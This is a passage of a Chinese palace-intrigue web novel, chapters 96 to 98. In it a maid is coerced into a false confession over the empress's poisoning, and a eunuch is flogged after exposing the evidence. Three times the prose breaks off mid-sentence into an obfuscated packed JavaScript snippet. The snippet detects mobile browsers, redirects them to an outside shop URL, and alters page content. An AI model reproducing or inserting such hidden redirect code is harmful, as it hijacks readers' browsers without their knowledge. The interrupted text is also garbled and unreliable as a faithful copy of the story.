那句话,分明就是遗言啊! “掌印,娘娘是自尽的,是自尽的!”方苒不顾手指上的剧痛,一把抓住何敬的袍脚,“您让我见见小乔公公,她一定能听明白娘娘的意思,证明我是清白的!” 皇后为什么一定要留这句话,就是为了给她保命用的啊。方苒真是悔,为何没有当时就察觉到话中的意味,既没能阻止的了皇后服毒,又使自己落入这般险境。 何敬抬起脚,将方苒血肉模糊的手从他的衣袍上拨弄下去。 “你这丫头可真是疯癫,后妃自戕是多大的罪,你也竟敢乱咬?” 他轻飘飘的一笑:“不过我今日来,可不是来听你喊冤的。” 说着,何敬从手中掸出一只粉色的钱袋子,拎到方苒面前:“这东西,是你的吧?” 方苒瞳孔骤缩。 是啊,出了这样大的事,她的房间一定都被搜过了,那她的所有私物,必已都落入了他人之手。 她挣扎着就要去抓那只钱袋子,可何敬却往上一提,让她根本触碰不到。 何敬不慌不忙的将钱袋子打开,在里面拿了一枚剑穗出来,递到方苒面前。 “这可是男人的东西。”他森意凉凉的勾了下唇角,“方苒,你在同人私通。那个男人是谁?” “不是,我没有……” 方苒极力的想否认。只有那唯一的一次,从那之后,她同那人再无任何联系。可如今被人抓住了把柄,私相授受犯了宫规,这却是板上钉钉的事实。 当日那人托了好几层关系,才最终将东西送到她手中,就是为了不出纰漏。送进来的东西,除这只用旧了的钱袋子和一枚剑穗,还有一笔钱和一张字条。但她已决心同那人恩断义绝,遂回了封字条给他,并将财物一并送还。 可这钱袋子和剑穗,是她豆蔻年华时为数不多值得珍藏的回忆,她舍不得扔,想留着给自己做个纪念。 不想,今日竟成了祸端。 但万幸,那张字条已被她烧了,没有留下任何那人的字迹。她深知自己已被人拿捏住了七寸,若她已注定无法逃脱,那至少不要连累那人,他还有大好的前程。 未及太多思索的时间,何敬催命一般的声音再次再上首响起:“我再给你最后一次选择的机会。如果你能认下谋害皇后的罪,我保证私通的事能到此为止。可你若不认,届时所有证物移交刑部,往下会再查到谁身上,我可就不保证了。” 他提起脚尖,往方苒身上驱了驱,以做敲打。这力道本不重,可方苒身上那处刚受过杖刑,皮肉已然绽开,疼的她几乎痉挛。 “你没有太多时间,自己想想吧。” 何敬说完,转身往门外走去。他还未跨出禁室的门,便听到身后之人凄凄叫到:“掌印!” 方苒手肘磨地,忍痛向前爬了几步,卑微的伏在何敬脚下:“我认……我认!” 一声闷响,房门闭合。 何敬抬手唤来一亲信秉笔,吩咐到:“拿纸笔进去,让她认罪画押。在移交刑部之前,将她摁死在这里,做成畏罪自尽。” 钱袋子仍握在他手中。何敬负着手,用拇指摸索片刻上面的绣纹,一声嗤笑。 没想到老天竟在这个当口送了这么份大礼给他。被锦衣卫压了这么多年,也总算是看到内府的出头之日了。 96. 独自战斗 夏绫同小汤一口气从永宁宫跑到了乾清宫。 到了月华门,夏绫丝毫没收着脚步,却被守门的内侍堪堪拦下。 她不由得生了几分薄怒:“你们拦我做什么!不认识了?” 两个内侍上下打量了她几遍,方犹疑道:“小,小乔公公?” 夏绫低头一看,因事发突然,她根本没想得起还要换衣服,穿着一身裙装就这样跑了回来。 真是越忙越乱。但这个节骨眼上也什么都顾不得了,她将小汤留在外面,拨开守门的内侍就往墀台上奔去。 急促的脚步一瞬间踏破了大殿中的宁静深长。夏绫径直往宁澈此时常待的暖阁走去,正遇到谭小澄端着换药的漆盘退出来,当是刚服侍皇上处理完伤口。 两人目光一对,谭小澄先是吃了一惊。虽早已知道她是女儿身,但初次见到夏绫已这种打扮出现在乾清宫,还是不免得瞠目结舌。 不过他的目光很快就凝重下来,朝夏绫微微摇了摇头。往日的默契在此时又一拍即合,夏绫读懂了他眼神中的含义,心中跟着一寒,事态恐怕比她想象的还要糟糕的多。 她快步走进暖阁,果然看到宁澈坐在榻上,伤处刚刚才被包扎过。 “阿澈,我想求你帮个忙。”她开门见山的说道,“司礼监拘了个宫女,是在永宁宫当过值的。她素日里与我交好,断不是那等心思歹毒的人,我担心审讯时会上刑,能不能让我去看看她的境况?” 见到夏绫这副打扮突然出现在自己面前,宁澈不免也怔愣了一下。但旋即他就接受了这个事实,毕竟她早先就说过想做回夏绫,只是没想到有这么快。 “你说的那个宫女,叫什么名字?” “方苒。阿澈我……” 宁澈却抬了抬手打断她的话。继而,他从小几上拿起一页写满了字的纸,不动声色的递给夏绫。 夏绫接过纸来迅速览过,上面的字句令她眼前一阵阵发黑。这竟然是方苒的认罪状书。 状书中详尽写明了方苒因遭皇后责打而心生怨恨,又因皇后偷出宫门连累尚宫局而心存不满,于是便将私存药耗子的砒霜下在皇后的吃食里,本意是想让皇后消停几天,能让她们歇一歇,却不想这药性竟如此剧烈,以至于酿成大祸。 时间,地点,动机,方式,一样不少,任谁读来,这份供状都挑不出一句言不达意的话,很难让人不信这是事实。 夏绫的手在不住发抖:“这,这不可能啊。阿澈,一定有什么误会在里面,你让我见见她,我一定可以问出真话来的!” 可宁澈只是安静的看着她,不出一言。 “阿澈?” “乔乔,你救不了所有人。”宁澈异常冷静的说道,“可这就是我看到的事实。若你说的是真的,这份供状是怎么来的,我又该相信谁?此事我会移交刑部去审理,孰是孰非,一定会查个水落石出,绝不会冤枉一个好人,也不会包庇一个坏人。” 他怎么就不信呢。夏绫急急解释道:“阿澈,我知道这样的结果对你是有利的,你也希望事情就这样了结掉,可是……” “乔乔,等等。”宁澈打断了她,脸色也沉肃下来,“什么叫对我有利?皇后现在昏迷不醒,后宫一片乌烟瘴气,到底对我有利在哪了?你看谁家皇帝当成我这样的,跟前朝扯皮扯不完,还得给后宫擦屁-股?” 夏绫眨了眨眼,意识到情急之下自己说错了话,完全没有顾及宁澈的感受。 “我不是这个意思。”夏绫语气略缓,“只是阿澈,你有没有想过,娘娘也有可能是……” “自戕是吧,我想过。”宁澈接了她的话,“可是乔乔,证据呢?要是让你写案卷,你现在就能白纸黑字的下定了结论吗?” 夏绫摇了摇头。 宁澈站起身来:“乔乔,我必须要先知道事情的真相,再想这件事该如何判决。或许是那丫头下的毒,或许是皇后自己下的毒,或许是那丫头先下了一遍皇后自己又下了一遍,这都有可能。就算你不相信我,你也该相信刑部,一切以审理后的定案为准。如果你知道什么的话,应当写下来一并放在案卷中移交刑部,作为其中一条案证,而不是直接同我下一个结论。” 夏绫难过道:“可是皇上,严刑之下多冤案啊。” “乔乔,刑讯只是手段,不是目的。并非所有人都有你这样一位能通门路的朋友,难道刑部审的案子全都是冤假错案么?” 夏绫无法再争辩些什么。她取来纸笔,将对方苒的了解,与纪瑶的相处,以及对整件事情的所知,一一写下,只言事实,不言结论与感情。 宁澈将夏绫写的文书接下:“如无其他枝节横生,明日一早,刑部会来提人。届时你写的这份状词,我也会一并转交。” 他顿了顿,又说:“但为了避嫌,在案子审理过程中,你不得探视她。不过,我也答应你,无论审成什么样,在定案之前,会让你同她去见一面。” “阿澈,拜托你了。”夏绫微一点头,道了告辞。 出了暖阁,她见谭小澄仍在外间没有离开。夏绫同他打了个眼神,两人走到殿外便于说话的地方。 “小谭哥,苒苒的事,我已尽力了。可方才你也听到了,我似乎,也只能做到现在这一步了。” 这还是时隔这么久以来,两人第一回在私下里说话。 “乔,你不要自责。为了我们这种人,你能去同主子争论,我已是不尽感激了。” 他仍愿意以从前的称呼待夏绫,倒让她心里感到片刻的宽慰。 “你说的这是哪里话,你们同我的照顾与情谊,我始终都铭记在心。” 谭小澄略笑了一笑:“回去吧,更深露重。” 夏绫沉静的点了下头:“小谭哥,你多保重。如果有什么事,随时来知会我,只要是我能做的事,一定不遗余力。” 在走下石阶时,她却又听谭小澄在背后喊了一声:“乔。” 夏绫回头,见谭小澄仍站在最上一级台阶上,初冬的夜风将他绀青色的内侍圆领袍吹得纷乱翻飞,让他不甚健壮的身形显得有些飘摇。 “你对我与小汤的关照,我们也始终都记着。方姑娘的事,我也一定会竭尽全力的。” * 谭小澄下值后,片刻未及歇息,立即往马房赶去。 白日审讯时,方苒明明咬死了自己的清白,不论怎么拷打都未曾松口。他就离开了这么一小段时间,方苒认罪的供状在这个空当里竟就被递进了乾清宫。谭小澄无法形容看到那张供状时的震惊,这其中必定有什么猫腻。 囚室之中,方苒蜷缩在角落里,心字成灰。可就在这时,门锁竟然又起了响动,她惊惶的睁开眼,以为是何敬又回来了。 “方姑娘。”一声熟悉的音色在昏暗中响起。 谭小澄提着一盏暗灯,蹲到方苒面前急急问道:“方姑娘,明明不是你做的事为 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13150250|125276||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 什么要认?他们究竟拿什么逼你了?” “谭少监,”方苒缓慢的支起身子,略见了礼,哑声道:“我认了,就是我做的。” “可这样你会死的!”谭小澄低斥道,“你到底是有什么难言之隐?你同我说,我,还有小乔,我们定会想办法救你的!” 方苒固执的摇了摇头,只是不敢直视谭小澄的目光。 “我求您了,不要再问了,就让事情结束在我这里吧。” 谭小澄气极,一无所获的离开囚室,可心中总觉得哪里不对。方苒的为人他清楚,她绝不是那等心狠手辣之人,到底是哪里出了问题呢? 想了想,他提步往存放证物的库房走去。库房此时已上了锁,只等明日一早将物证呈送御前,但他是协理审查此案的秉笔,此时仍旧有查阅物证的权力。 谭小澄的目光一一在从方苒房中搜出的物件上掠过。几件女孩家的衣服,发带,脂粉,笔墨纸砚,半包未用完的耗子药,以及……一只粉色的钱袋子。 他在那包耗子药上注目良久。是这个东西,让方苒辩无可辩,才不得不认罪的么?可是宫人中存有耗子药以避鼠害之事并不新鲜,若方苒因为这就担下这可处极刑的大罪,是绝对说不通的。 实在是令人百思不得其解。 就在谭小澄已准备放弃之时,回忆里某个细微之处,遽然一现。他猛地将注意力集中在了那个钱袋子上。 这个东西,他一定是见过的。谭小澄将钱袋子拿在眼前审视良久,眼前的景象一点点清晰。 那是在……去年秋天,他同小乔一同在元武门外的一家早点摊上,当时一起的人还有—— 庄衡大人。 谭小澄的呼吸霎时急促。不会有错,就是这只粉色的钱袋子,当时抓在庄衡大人的手里。 与内廷女眷私相授受,若是被人拿来做文章弹劾,也是灭顶的大罪。 方苒想要维护的那个人,竟然是他。 谭小澄立即出了库房,找到在马房外等着他的小吴和小金,郑重叮嘱道:“去找两个可靠的人,在方姑娘的囚室外守着,万不可让何掌印的人有可乘之机。” 说完,他自己匆匆忙忙的向永宁宫跑去。 谭小澄一路奔到永宁门前,就在他要请守门的人去通报小乔时,却忽又犹豫住了。 他敏锐的察觉到,在这件事背后,有一个巨大的漩涡。那是内府同北镇抚司之间的权力争执,是皇上对内廷外廷平衡的维系。 这样的事,让小乔一个姑娘家掺和进来,真的好吗? 虽说已刻意的在疏远她,但谭小澄心中明白,那姑娘并不能算得上一位真正的主子。说到底,她一无家世,二无钱财,一介孤女而已,能让她在宫中安稳度日的,无非就是同皇上年少时的情谊。 这份情谊贵就贵在它的纯粹,一旦跟朝堂利益连上瓜葛,便会浑浊如指尖之沙,迅速耗尽。 这些暗流涌动之事,小乔她一个女孩家或许看不明白,但自己已然看清,就更不能将她拉进来。 既然庄衡大人的事是他谭小澄发现的,那就当由他自己的嘴说出来。且一旦借了小乔的口,就相当于是擅自利用了皇上的人,自己只会死得更快罢了。 如果两边都是死,他宁可死的更堂堂正正一些。 谭小澄深吸了一口气,退入暗影中,没有惊动永宁门前的看守。 这终归会是他一个人的战斗。 97. 临时拆招 天方破晓,谭小澄便穿戴好衣冠,至司礼监在宫内的值房同何掌印见礼。 今日是皇后中毒一案人犯移交刑部的日子,他作为协理此案的内官,自然也有至御前回禀之责。 何敬一向早起,此时已收拾齐整,正坐在堂内喝茶。见谭小澄进来,倒一改往日冷淡的态度,抬手斟了杯茶,邀他一起同饮。 谭小澄双手将茶杯接过,饮过之后,又将杯子放在一旁,垂手退至一旁,恪守着上下级之间的尊卑。 何敬难得心情不错,打量了他一眼道:“我已让刘秉笔去取证物以及提人犯了,待稍候回禀了主子,还要劳谭秉笔将人犯押至囚车上。” 谭小澄恭顺揖了一礼道:“掌印言重了,这是属下的分内之事。” 没过多会,刘秉笔便端着整理好的物证回来复命,面带不安,似是出了什么大事。 何敬故意问到:“人犯可还安好?” 刘秉笔附在何敬耳边,低语了几句。 只见何敬脸色越来越阴沉,猝然抬眸看向谭小澄,眼中一片阴翳。 谭小澄却恭顺如常,从刘秉笔手中接过盛放证物的托盘,同何敬欠身到:“掌印,属下亲自同您将这些证物呈交主子审阅。” 他将“亲自”二字咬的格外重。 何敬眼睑颤了颤,不过旋即又换上了那副一贯不达眼底的笑面:“理应如此。谭秉笔,可千万不要辜负了主子对你的信任。” 两人行至乾清宫大殿外时,见刑部钟义寒大人已在此处候旨。何敬上前略一寒暄,抬手道:“钟大人,请入殿内听旨吧。” 钟义寒拱手还礼道:“不敢,掌印先请。” 几人在御前见过礼后,谭小澄将手中证物呈送至御案上,便于皇上审查。 宁澈面色不霁,目光简短的从几样证物上掠过后,对何敬道:“你同刑部交接下案情吧。” 何敬应是,转向钟义寒道:“冬月初五晚,在永宁宫值守的尚宫局女史来报,皇后娘娘反呕出血,随即昏迷不醒,似是有中毒之状。后经查证,娘娘所食的一碗粥经银匙验过后发黑,乃是有毒之物。事发后,司礼监拘禁了自尚膳监至永宁宫所有可能接触过那碗粥的宫人共六人,经审讯后,在尚宫局见习的宫女方苒招认了下毒的罪行。” 钟义寒听罢,知此事涉及天家安危,自是非同小可。他又向何敬问了几个问题,对方一一解答。 大致了解了事态全貌后,钟义寒对坐在上首的帝王揖礼道:“若陛下无异议,那臣便将犯人提回刑部审查了。” 宁澈颔首道:“此事干系重大,审查时必要细致入微,不要漏掉任何一个疑点。朕这里的两份供状,钟卿你也一并带回去,以做考量。” 说着,他将夏绫和方苒分别写下的两份供述一并放置在盛放证物的托盘上。 钟义寒正欲应是,却忽听得身边又有人道:“启禀主子,奴婢还有事想要禀奏。” 抬头,见说话的是跟在何掌印身后那位姓谭的秉笔。因自入殿后他都未曾说话,钟义寒也是此时才注意到他。 宁澈微挑起一侧眼眉:“讲。” 谭小澄行至御座之下,躬身禀道:“何掌印方才的话漏了一处细节。方苒虽说确已招供,但却不是在司礼监刑讯拷问时认的罪,而是在带回禁房关押时,毫无缘由的咬下自己下毒的罪行。可奴婢以为,若说是因良心发现而突然悔改,未免太牵强了些。倒不如说她想掩盖些什么,想让事情尽快结束在她这里。” 何敬抬眸一眼看向谭小澄,仿若在看一个疯子。 宁澈面色渐沉,冷声问:“你想说什么?” 谭小澄定了定心神,握紧已满是冷汗的双手,继续道:“主子请看,在托盘右下角所放置的物证,是一只粉色的钱袋子。” 宁澈垂眸看向那只钱袋,不由微皱了眉。初见这东西,他只觉得略有眼熟,并没有多想。可此时再看,越发觉得不对劲。此物他一定从哪里见过。 未及他思索出答案,谭小澄便已然开了口:“奴婢斗胆回禀,这件证物,奴婢曾在镇抚司指挥使庄衡大人手中见过。” 满座皆寂。 何敬陡然呵斥道:“若知此内情,为何不早说?怎容得你在主子跟前信口胡言,攀咬庄衡大人!” “你住口。”宁澈的语气毫无波澜。 他缓缓拿起那只钱袋子在眼前端详片刻。 不会错的,这确实是庄衡的东西。彼时在南边,庄衡尚未知道他身份时,两人曾以朋友相称。宁澈那时还用这钱袋子同他开过玩笑,一个大男人,怎么还用这样娇媚的颜色。 庄衡只是很平淡的答,因此物出自对他很重要的人,所以格外珍惜。 宁澈凌厉的目光在谭小澄与何敬脸上一一逡巡而过,他几乎是立时就想明白了是怎么回事。 到底是谁给皇后下了毒,根本不重要,重要的是这柄剑会为谁所用,又究竟会斩向哪一方的利益。 宁澈冷笑,真行啊,在他眼皮子底下竟然就斗起来了。 但现在的当务之急,是得先将庄衡保下来。 宁澈深沉的眼神落在谭小澄身上:“跪下。” 谭小澄心中一凛,片刻不敢迟疑,立刻屈膝跪伏于御前。 宁澈拿起手中的钱袋子质问道:“你说这东西是庄衡的,可有任何证据?” 谭小澄深知自己已惹了皇上的盛怒,但事已至此,再无转圜的余地,靠着一腔孤勇叩头回禀道:“奴婢并无任何物证,但所言句句属实,奴婢敢同庄衡大人对证!” 嚓! 谭小澄的话还未说完,宁澈抬手将桌上的一方砚台掼在他面前,当即四裂粉碎。 “信口雌黄,诬蔑朝廷要员。朕最恨你这种将手伸到外政上的奴才。” 何敬此时也觉出害怕来,亦跪下道:“主子息怒。” “还有你!”宁澈朝他喝到,“你们司礼监就是这样教人当差的么?下梁歪成这样,你这上梁也正不到哪去!” 何敬跟在宁澈身边伺候这么多年,还未得皇上说过如此重话。他一头重重磕在地上,痛彻心扉道:“奴婢罪该万死!” 宁澈皮笑肉不笑的呵了一声:“朕今日不罚你,但你手底下这个奴才,朕绝不轻饶。往后的司礼 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13161445|125276||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 监,你自己掂量着如何整饬,若是再让朕发现胆敢干涉外政,这个掌印你也不必做了。” 何敬内里的衣衫已湿了一大半,俯身叩首道:“主子教训的是,奴婢定当好好自省,万望主子息怒。” 宁澈深呼了口气,目光又落在了谭小澄身上。 “杖四十。打完后也不必回乾清宫来了,发落去做杂役。” 谭小澄面前的地砖上已落满了冷汗,听了这句话,他的身子仍是不由得一晃。 半生如履薄冰,汲汲营营走到这个位置上,终是在这一瞬全部化为乌有。 或许是已恐惧过了头,谭小澄此刻反倒坦然了。 他抬首望向高高在上的帝王,平静说道:“奴婢叩谢主子恩典。奴婢自知罪无可恕,但却并无一句虚言欺瞒君上。只盼主子英明圣断,使蒙冤之人昭雪,使无辜之人清白。” 宁澈眼角颤了颤,背在身后的手不由得握成了拳。 “拖出去。” 有内侍前来,将谭小澄拖了出去。何敬也一并叩头告退,去准备行刑的事宜。 御阶下便只剩了站着的钟义寒,与其他早已戚戚跪地的近侍。 殿内一时沉静如雪。 宁澈瞥向自己桌案左侧,见不远处跪伏着一个年岁不大的小内侍,是往日里侍奉茶水的,还在不住的瑟瑟发抖。 “谭小澄是你师傅?” 小吴听见声音身子泠然一震,抬起头脸上还挂着两道泪痕。 “是。” 宁澈摁了摁眉心:“你现在马上到永宁宫去找小乔,把方才发生的事告诉她。” 小吴早已经被吓傻了,愣愣的趴在原处没动地方。 宁澈咋舌,提高了声音:“快去啊!真想看着你师傅死么?” 小吴恍然回过神来,磕了个头,立马爬起来往殿外跑去了。 宁澈双手撑在桌面上,忽然抬掌在桌上狠狠一拍。 “陛下。”说话的是钟义寒。 宁澈抬头,笑意有些令人生寒:“又让你见笑了。” 钟义寒微摇了摇头,只双手交叠于身前道:“陛下好谋算,一石三鸟。” 宁澈挑眉:“算不得谋算,底下人动了歪心思,临时拆招罢了。” 钟义寒拱手:“那臣便先祝陛下得偿所愿吧。” 宁澈低头转了转手上的扳指,又坐回到御座上:“既如此,今天这犯人便不能让你提走了。但是——” 他顿了顿:“但是,你去帮朕把庄衡拦下来,免得他听了什么风声沉不住气。如果实在拦不住,就找个理由先将他下在刑部大狱,暂且羁押。” 钟义寒沉吟片刻:“只是臣若羁押庄衡大人,该用何罪名呢?” “嘁,你下过那么多次牢狱,倒用朕来帮你想罪名么?”宁澈似笑非笑的看着他,“朕只要结果,其他的事,你自己琢磨该怎么办。” 钟义寒点头应是。 “另外,”宁澈拄着额角若有所思道,“你让人去查一下宣武门附近的一家寿材铺。问问掌柜的,今年端阳节之时,有没有一位年轻妇人,曾在他店里拿过砒霜。” 98. 夹道杖责 永宁宫中,夏绫听说有乾清宫的人来找她,以为是谭小澄又得了什么同方苒相关的消息,立时起身往外走去。 可出了宫门,却看到小吴站在影壁旁,双眼哭的红肿。 一见到夏绫,小吴的眼泪便止不住了,边哭边同夏绫讲了乾清宫发生的事。 夏绫听后如寒雨浇身,心惊肉跳,这怎么一个没捞出来,又折进去一个呢? 她让小吴带路,赶忙往司礼监行刑的地方赶去。 方拐到西长街上,远远的便看到有两个人步履匆匆的跑过来,仔细看去,竟是汤圆和小金。 “小乔姐!”汤圆一见了夏绫,弯身直接跪在了她跟前,朝她磕了个头。 “小汤你做什么?快起来!” 汤圆压着夏绫的手,眼泪簌簌往下落:“小乔姐,小澄哥惹了圣怒,我不敢求主子能宽宥他。但你能不能帮忙去求求何掌印,打完后不要把人送去安乐堂,让他到仁寿宫来,我来照顾他。” 夏绫看着面前这丫头,心里难受的很。她握了握汤圆的手道:“小汤,你先回仁寿宫收拾一下。小吴小金,你们俩跟我来。” * 在东角楼下的红墙夹道中,高墙下已置好了刑凳。 谭小澄被除去了官服官帽,只穿了件浆洗过无数遍的单薄中衣,于萧瑟寒风之中,垂手立于刑凳侧旁。 因被皇上点了名要整饬司礼监,何敬召了此时未在当值的的司礼监内官皆来观刑,以儆效尤。 人陆陆续续的在夹道中站成了两排,皆屏息低头。且不谈平日里同受罚之人的私交如何,同为宫中奴婢,见同僚被主子开罪,多少都会生出些兔死狐悲之意。 刘秉笔见人到的差不多了,附在何敬耳边问到:“掌印,该怎么打?” 这一句怎么打,问的既是要不要留体面,也是问的要不要给活路。 四十下廷杖打下去,可以不伤筋动骨,也可以当即毙命,全在何敬的一念之间。 何敬眯了眯眼,恨意森然的看向谭小澄。这个人,坏过他太多次事了。 自先头李秉笔被贬斥南京,到御前笔墨伺候的差值,再到今日之事,都是这个人在从中作梗,当他的眼中钉肉中刺。 有了今天这事,马房中关着的那丫头,是万不可能要她性命了。非但不能取她的命,还得让她好好活着,否则但凡她出了什么闪失,皇上第一个要问责的就是他这个司礼监掌印。 既如此,那就让姓谭的今日做这个替死鬼,以泄心头之愤。 何敬方想将一个“死”字说出口,却倏听有一女声传来:“何掌印。” 何敬抬头看去,见夏绫身着一袭宫装,越过人群走了过来。 路过谭小澄身边时,夏绫不动声色的瞧了他一眼。谭小澄没有说话,只是眼睫略微颤了一颤。 何敬连忙迎上来,施礼到:“姑娘,您怎么上这来了?” 夏绫也带上了一副客套的假笑:“我听说掌印召了司礼监的人在这观刑,怎么没喊我?是不拿我当司礼监的人了?” 再怎么说,她在司礼监还挂着个正八品的衔呢,这是皇上钦点的,谁也不敢说不认。 何敬忙躬身道:“姑娘言重了。只是杖责一个奴才,也不是什么好看的事,奴婢怕污了您的眼。” “也是。”夏绫想了想道,“不过同在司礼监当值,我若什么都不做,也显得自己忒特殊。要不这样,怎么打的我就不看了,但打完后您告诉我一声,我叫人来把他挪走,就不劳烦掌印了,您看行吗?” 她虽说用的是问句,可何敬哪敢驳她的话?只得打碎了牙往肚里咽,笑道:“但凭姑娘的吩咐。” 夏绫略一点头道:“成,那我就先走了,不耽误掌印您秉公执法,您有劳了。” 看着夏绫离去的背影,何敬的眼睑抽了一抽。恰逢一阵寒风吹来,让他冷得不禁打了打了个寒颤。一个念头随之在他心中盘旋而起,这绫姑娘怎么来的这么快?究竟是报信的人跑得快,抑或是……皇上给她递了消息? 这当口,刘秉笔的声音又在旁侧响起:“掌印,那是……” “给活门。”何敬咬牙道,恨恨看向谭小澄,“不必给他留体面。平日里你们怎么教训底下人的,就怎么教训他。一个爬上来的杂差而已,把下面给我揭了,直接往皮上打!” * 夏绫进了宫道侧旁的偏门,背倚在朱墙上,沉了口气息。 谭小澄这条命,她应该是给保下来了。只是会打成什么样,是伤是残,就全都得看他自己的造化了。 小吴和小金正在此处等她,见夏绫出来,连忙围上来问他们师傅的情况。夏绫往门另一侧示意了个眼神:“你们俩进去看着点,一旦瞧见你师傅受不住了,马上来告诉我。” 两个半大孩子忙不迭的去了。夏绫阖目靠在墙壁上,平复了片刻内心杂乱的思绪。 这个局,可当如何作解啊。 忽而,又有一细弱的声音传入她耳畔:“小乔姐……” 夏绫睁开眼,不由一惊:“不是让你回仁寿宫去吗,你来这里做什么!” 小汤手里抱着个什么东西,急急想开口解释,却忽听得一声闷响从宫门那侧传来。 那是刑杖打在人皮肉上的声音,即便是隔着道墙,仍格外清晰。 汤圆捂住嘴,眼泪立时就从眼中溢了出来。 “小汤。”夏绫心中也难过的厉害,将汤圆搂在她怀里,轻轻拍着她的后背安抚。 噼噼啪啪的杖打声从墙另一侧传来,每落下一杖,夏绫就感觉到怀中的女孩身子颤抖一下。 直至她从心里数满了四十下。 小汤抬起头来,早已满面泪痕:“小乔姐,他怎么也不喊声疼啊……” 汤圆慌了神,抬脚就要往门外去,却被夏绫一把拉住手臂:“别!” “小汤,你给小谭哥一点时间,我猜他也不想让你看到现在的样子。” 汤圆哭着把手里的东西拿给夏绫,是一条小被单。 “小乔姐,我怕何掌印不给他留体面,所以送了这个过来。拜托你递出去,让小吴和小金替他遮一下……” 夏绫看着汤圆手中印着花的小被单,心中难受更甚,眼睛不由得也涩了起来。 她将被单递出了门外,小吴和小金就站在门边。司礼监的人还未散去,人影重重,夏绫看不到刑凳上的人究竟伤成了何种模样,或者说,不敢去看。 度日如年。 终于,小吴和小金背着人从门外走了进来。 谭小澄伏在小吴背上,发髻凌乱,面色惨白,额前碎发被冷汗浸透了,嘴唇也咬出了血。看他身后,虽已用被单盖住,但仍有斑斑血迹渗透出来,可知那倾盖之下是何等皮开肉绽。 “小澄哥,小澄哥……”一见到谭小澄,汤圆的泪就落了下来,一边哭着一边不住的喊他。 可谭小澄只是垂着头趴在小吴背上,没有力气做任何回应。 小吴和小金也哭的不成样子了,一个伏低了脊背,一个在旁边护着,快步往仁寿宫的方向走去。 行至半路,谭小澄恢复了些力道,艰难的抬起头来,气息微弱的问:“这是,去哪?” 小吴抽了抽鼻子:“师傅您先别说话了,咱们去仁寿宫。” 谭小澄眉心一蹙,嘴唇翕动:“不行,不能去……” “师傅?” 见小吴犹不停脚步,谭小澄竟挣扎了起来,使力拍打着他的肩膀,低喝道:“快点……停下来!” 汤圆见谭小澄要动,连忙将手搭在他肩上安抚道:“小澄哥你忍一下,咱们到了地方再说话啊。” “放我,下来!”谭小澄用尽力气低吼道,竟发力推了小吴一把,险些从他背上摔下来。 “小澄哥你做什么呀!” 小吴见实在背不住身上的人了,不得已蹲下来,将他放下。 谭小澄站不住,只得半跪在地上,用手扶着墙让身体稳住。他咬着牙消化了片刻身上的剧痛,对小汤和两个徒弟 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13176095|125276||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 说:“你们到旁边等一会,我有话单独对小乔说。” “小澄哥?”汤圆扶着他,显然是不愿意放开。 谭小澄却一甩手,带了怒意:“去!” 夏绫看出他的固执,在小汤肩上拍了拍,示意小吴和小金先将她带到一边去。 见人走远了,夏绫弯身蹲在谭小澄身前,轻声问:“小谭哥,你要同我说什么?” “乔,”谭小澄微咳了两声,喉咙间反上来的气息都是血腥味。 “方姑娘,保下来了吗?” 夏绫眼眶一热,没想到他第一句话竟是在问方苒的安危。 她点了下头回应他:“小谭哥,你怎么这么傻啊!你若是看出了些什么,你来同我说,做什么要自己去触皇上的霉头?” 谭小澄缓缓摇了下头:“这其中的利益纠葛太复杂了。庄衡大人和何掌印,皇上一个都不想舍,你若是在中间出了头,他便不能故意说瞎话保住庄衡大人了,说不定还会埋怨你。” 他惨淡一笑:“虽然,我再也做不成一个男人,但心中总是觉得,凡事不能让你们这些小姑娘家冲在前头。能让我挡的,还是我来吧。” 夏绫禁不住哽咽:“小谭哥,你真傻,真傻。” 谭小澄并不在意夏绫的这句责备,只是笑了一下,继续缓声道:“还有就是,我不能跟小汤去仁寿宫,你一会一定要帮我劝住她。” “为什么?” 提起小汤,谭小澄的眼神不自觉就变得柔软了些,可在此时看来,更多的是伤感与无奈。 “宫中女子跟内侍对食,无非是想找个能依靠的人搭伙过日子。但内侍算不得是男人,宫女与内侍虽同食同饮者多,却鲜有人愿意同檐同住。我若去了仁寿宫,在小汤面前必不能保全衣冠,之后又只是个下等的杂差,给不了她半分倚仗。要让人知道小汤伺候过我这种人,她走到哪,都会被人戳脊梁骨的。” 夏绫心中五味交陈,虽是不忍,但也深知他是为了小汤好,只得点头应了他。 “乔,还有最后一件事,拜托你帮我。” 夏绫扶住几乎已力气耗尽的谭小澄:“小谭哥,你说。” “在护城河边,我值房的柜子里,我收拾出一个包裹,那里是这些年我攒的所有体己钱。这些钱你拿过来,一半帮我送到河间府的家中。我家里上有老母,下有弟妹,弟弟想要读书,正是用钱的时候。往后我能帮上的可能就少了,替我同他说,定要勤俭自强,不要同他人攀比。” 